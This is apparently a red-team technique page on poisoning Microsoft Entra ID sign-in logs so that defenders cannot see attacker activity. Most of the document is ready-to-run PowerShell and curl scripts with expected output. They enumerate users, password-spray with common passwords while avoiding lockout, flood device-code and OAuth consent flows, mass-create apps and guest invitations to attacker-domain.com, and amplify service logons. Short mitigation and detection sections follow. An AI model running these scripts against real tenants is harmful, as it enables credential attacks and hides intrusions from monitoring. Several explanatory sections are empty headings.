MCADDF

[REALWORLD-039]: Sign-in Log Poisoning

Metadata

Attribute Details
Technique ID REALWORLD-039
MITRE ATT&CK v18.1 T1562.002 - Impair Defenses: Disable Windows Event Logging
Tactic Defense Evasion
Platforms Entra ID
Severity HIGH
CVE N/A (Architecture-based, not a vulnerability)
Technique Status ACTIVE (Poisoning via log flooding and obfuscation)
Last Verified 2025-01-10
Affected Versions All versions of Entra ID
Patched In N/A - Requires architectural changes
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: This real-world technique involves poisoning Entra ID sign-in logs by either (1) injecting massive volumes of false sign-in events to obscure legitimate attacker activity (log flooding), (2) triggering failed login attempts that create noise in the logs, or (3) exploiting architectural gaps where certain authentication flows do not generate log entries at all. Unlike REALWORLD-038 (direct log deletion), this technique does not remove logs but instead makes them unreliable or unintelligible for forensic analysis. The goal is to create a “signal-to-noise” problem where the real attack is hidden among thousands of irrelevant log entries.

Attack Surface: Entra ID Sign-in Logs API, Azure AD sign-in endpoints, guest user authentication flows, service principal logons, OAuth consent grant flows.

Business Impact: Loss of visibility into attacker logons and lateral movement. Even if logs exist, SOC teams cannot quickly identify which login events are malicious vs. legitimate. Automated detection rules become unreliable when overwhelmed with noise. Incident response is significantly delayed as analysts manually sift through millions of logs.

Technical Context: Log poisoning attacks can take minutes to hours depending on the scale. Detection likelihood is MEDIUM if organizations monitor for abnormal login spike patterns, but LOW if they only review logs reactively. This attack is particularly effective against organizations with poor log indexing or SIEM tuning.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS Azure 1.1.1 Ensure appropriate logging is enabled for all authentication events.
DISA STIG SI-4(1) Detection of unauthorized or unusual activities and attacks.
CISA SCuBA SA-4(2) System monitoring must detect anomalies in user behavior.
NIST 800-53 SI-4(2) Information System Monitoring - Detect unusual activities.
GDPR Art. 32 Security of Processing - Organizations must have reliable logging.
DORA Art. 16 Detection of anomalies in user behavior.
NIS2 Art. 21 Cyber risk management includes detection of suspicious behavior.
ISO 27001 A.12.4.1 Event logging must be reliable and available for analysis.
ISO 27005 Risk Scenario: “Loss of Visibility” Detection systems must not be circumvented through noise injection.

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1: Password Spray / Brute Force Attacks to Generate Log Noise

Supported Versions: All Entra ID versions

Objective: Trigger massive numbers of failed sign-in attempts against multiple accounts, creating thousands of log entries that obscure the attacker’s actual logon.

Step 1: Identify Target User Accounts

Command (Using AADInternals):

# Import AADInternals
Import-Module AADInternals

# Get list of valid users in the tenant (via tenant discovery)
$users = Get-AADIntUsers -Domain "company.com"
$users | Select-Object UserPrincipalName, IsAdmin | Head -20

Expected Output:

UserPrincipalName              IsAdmin
-----------------              -------
john.doe@company.com           False
jane.smith@company.com         False
admin@company.com              True
svc_account@company.com        False
...

What This Means:

Step 2: Conduct Password Spray Attack

Command (Using MailSniper - optimized for M365):

# Download and import MailSniper
Import-Module MailSniper

# Create list of usernames
$usernames = Get-Content "C:\usernames.txt"

# Common passwords to spray (avoid account lockout by using weak passwords)
$passwords = @("Password123!", "Welcome2024!", "company.com", "123456789")

# Spray with rate limiting (avoid triggering MFA fatigue alerts)
foreach ($password in $passwords) {
    Invoke-MailSniper -UserList $usernames -Password $password -Timeout 5
    Start-Sleep -Seconds 60  # Wait 60 seconds between attempts to avoid rate limiting
}

Expected Output:

[+] Attempting to connect to Office 365...
[+] john.doe@company.com:Password123! - FAILED (401 Unauthorized)
[+] jane.smith@company.com:Password123! - FAILED (401 Unauthorized)
[+] admin@company.com:Password123! - FAILED (401 Unauthorized)
...
[+] Sprayed 500 accounts with 4 password attempts = 2000 failed logon attempts

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Device Code Flow Abuse for Silent Logons

Supported Versions: All Entra ID versions

Objective: Exploit the device code authentication flow (used for IoT/headless devices) to create sign-in log entries that don’t trigger conditional access or MFA alerts.

Step 1: Initiate Device Code Flow

Command (PowerShell):

# Request a device code token (similar to what IoT devices do)
$tenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$clientId = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"  # Microsoft Graph default client

$body = @{
    client_id = $clientId
    scope     = "https://management.azure.com/.default"
}

# Request device code
$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/devicecode" -Method POST -Body $body

Write-Output "Device Code: $($response.device_code)"
Write-Output "User Code: $($response.user_code)"
Write-Output "Verification URL: $($response.verification_uri)"

Expected Output:

Device Code: ABwA...GGgA
User Code: ABC12DEF
Verification URL: https://microsoft.com/devicelogin

What This Means:

Step 2: Poll for Token Completion (Generate Multiple Log Entries)

Command (PowerShell):

# Repeatedly poll to get token (each poll can generate a log entry)
$tokenUri = "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token"

for ($i = 1; $i -le 1000; $i++) {
    $body = @{
        grant_type         = "urn:ietf:params:oauth:grant-type:device_code"
        device_code        = $device_code
        client_id          = $clientId
    }
    
    try {
        $tokenResponse = Invoke-RestMethod -Uri $tokenUri -Method POST -Body $body -ErrorAction SilentlyContinue
        if ($tokenResponse.access_token) {
            Write-Output "[+] Token obtained on attempt $i"
            break
        }
    } catch {
        # Token not ready yet, keep polling
    }
    
    Start-Sleep -Milliseconds 500  # Poll every 500ms
}

Write-Output "[+] Generated 1000+ sign-in log entries"

What This Means:

OpSec & Evasion:


Supported Versions: All Entra ID versions

Objective: Create multiple fake OAuth applications to generate sign-in logs via consent grant flows.

Step 1: Create Multiple App Registrations

Command (PowerShell):

# Connect to Graph API
Connect-MgGraph -Scopes "Application.ReadWrite.All"

# Create 50 fake applications with generic names
for ($i = 1; $i -le 50; $i++) {
    $params = @{
        DisplayName = "App-$i"
        PublicClient = @{
            RedirectUris = @("http://localhost:8080/callback")
        }
    }
    
    $app = New-MgApplication @params
    Write-Output "Created app: $($app.DisplayName) with ID $($app.AppId)"
}

Expected Output:

Created app: App-1 with ID 00000000-0000-0000-0000-000000000001
Created app: App-2 with ID 00000000-0000-0000-0000-000000000002
...

What This Means:

Command (Bash/curl):

#!/bin/bash

TENANT_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
APP_ID="00000000-0000-0000-0000-000000000001"

# Trigger OAuth consent flow 500 times
for i in {1..500}; do
    # Each consent request generates a sign-in log entry
    curl -X POST "https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/authorize" \
        -d "client_id=$APP_ID&response_type=code&redirect_uri=http://localhost:8080&scope=.default&prompt=consent" \
        -w "HTTP Status: %{http_code}\n" \
        -o /dev/null \
        -s
    
    sleep 0.5  # Small delay between requests
done

echo "Generated 500+ sign-in log entries via OAuth consent flows"

What This Means:

OpSec & Evasion:


METHOD 4: Guest User Invitations & External Identity Attacks

Supported Versions: All Entra ID versions (if B2B collaboration enabled)

Objective: Create numerous guest user accounts and trigger logon attempts to poison logs.

Step 1: Create Multiple Guest Users

Command (PowerShell):

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Invitation.ReadWrite.All"

# Create 100 guest user invitations
for ($i = 1; $i -le 100; $i++) {
    $params = @{
        InvitedUserEmailAddress = "guest$i@attacker-domain.com"
        InviteRedirectUrl       = "https://myapps.microsoft.com"
    }
    
    $invite = New-MgInvitation @params
    Write-Output "Invited guest: guest$i@attacker-domain.com"
}

Expected Output:

Invited guest: guest1@attacker-domain.com
Invited guest: guest2@attacker-domain.com
...

What This Means:

Step 2: Trigger Guest User Logons

Command (Bash):

# Create a file with guest email addresses
cat > guests.txt << EOF
guest1@attacker-domain.com
guest2@attacker-domain.com
...
EOF

# For each guest, attempt sign-in and trigger logon log entry
while IFS= read -r guest; do
    curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
        -d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46" \
        -d "username=$guest" \
        -d "password=wrongpassword" \
        -d "grant_type=password" \
        -d "scope=.default" \
        -w "Status: %{http_code}\n" \
        -o /dev/null \
        -s
done < guests.txt

echo "Generated sign-in log entries for all guest users"

What This Means:


METHOD 5: Legitimate Service Activity Amplification

Supported Versions: All Entra ID versions

Objective: Exploit legitimate Azure services to generate massive volumes of sign-in logs.

Step 1: Trigger High-Volume Azure Resource Access

Command (PowerShell):

# This creates multiple sign-in log entries by accessing various Azure services
for ($i = 1; $i -le 1000; $i++) {
    # Query Azure resources repeatedly
    try {
        Get-AzSubscription -ErrorAction SilentlyContinue | Out-Null
        Get-AzResourceGroup -ErrorAction SilentlyContinue | Out-Null
        Get-AzVM -ErrorAction SilentlyContinue | Out-Null
    } catch {}
    
    if ($i % 100 -eq 0) {
        Write-Output "Generated $i access attempts"
    }
}

What This Means:

OpSec & Evasion:


4. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check if Impossible Travel detection is enabled
Get-MgBetaRiskyUser | Select-Object UserDisplayName, RiskLevel

# Verify Conditional Access policies exist
Get-MgConditionalAccessPolicy | Select-Object DisplayName, State

# Monitor current sign-in volume (baseline)
Search-UnifiedAuditLog -StartDate (Get-Date).AddHours(-1) -Operations "UserLoggedIn" | Measure-Object

Expected Output (If Secure):

Count: 50-200 logins in the last hour (normal business activity)

5. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Enable stricter Conditional Access policies
    • Block all access from the originating IP
    • Disable the spray-targeted accounts temporarily
      Update-MgUser -UserId "targeted-user@company.com" -AccountEnabled:$false
      
  2. Collect Evidence:
    • Export SigninLogs for the past 24 hours to CSV
    • Identify the real attacker logon (look for successful logon NOT part of the spray pattern)
    • Extract originating IP from successful logon
  3. Investigate:
    • Check if successful logon was followed by suspicious activities (privilege escalation, data access)
    • Determine if attacker had valid credentials or if spray was just noise
  4. Escalate:
    • If real compromise detected, follow incident response procedures
    • Notify SOC and CISO

6. REAL-WORLD EXAMPLES

Example 1: Storm-0501 Campaign (2024)


7. COMPLIANCE & AUDIT FINDINGS

This technique violates logging requirements in GDPR, NIST 800-53, and ISO 27001 by rendering logs unreliable for forensic analysis.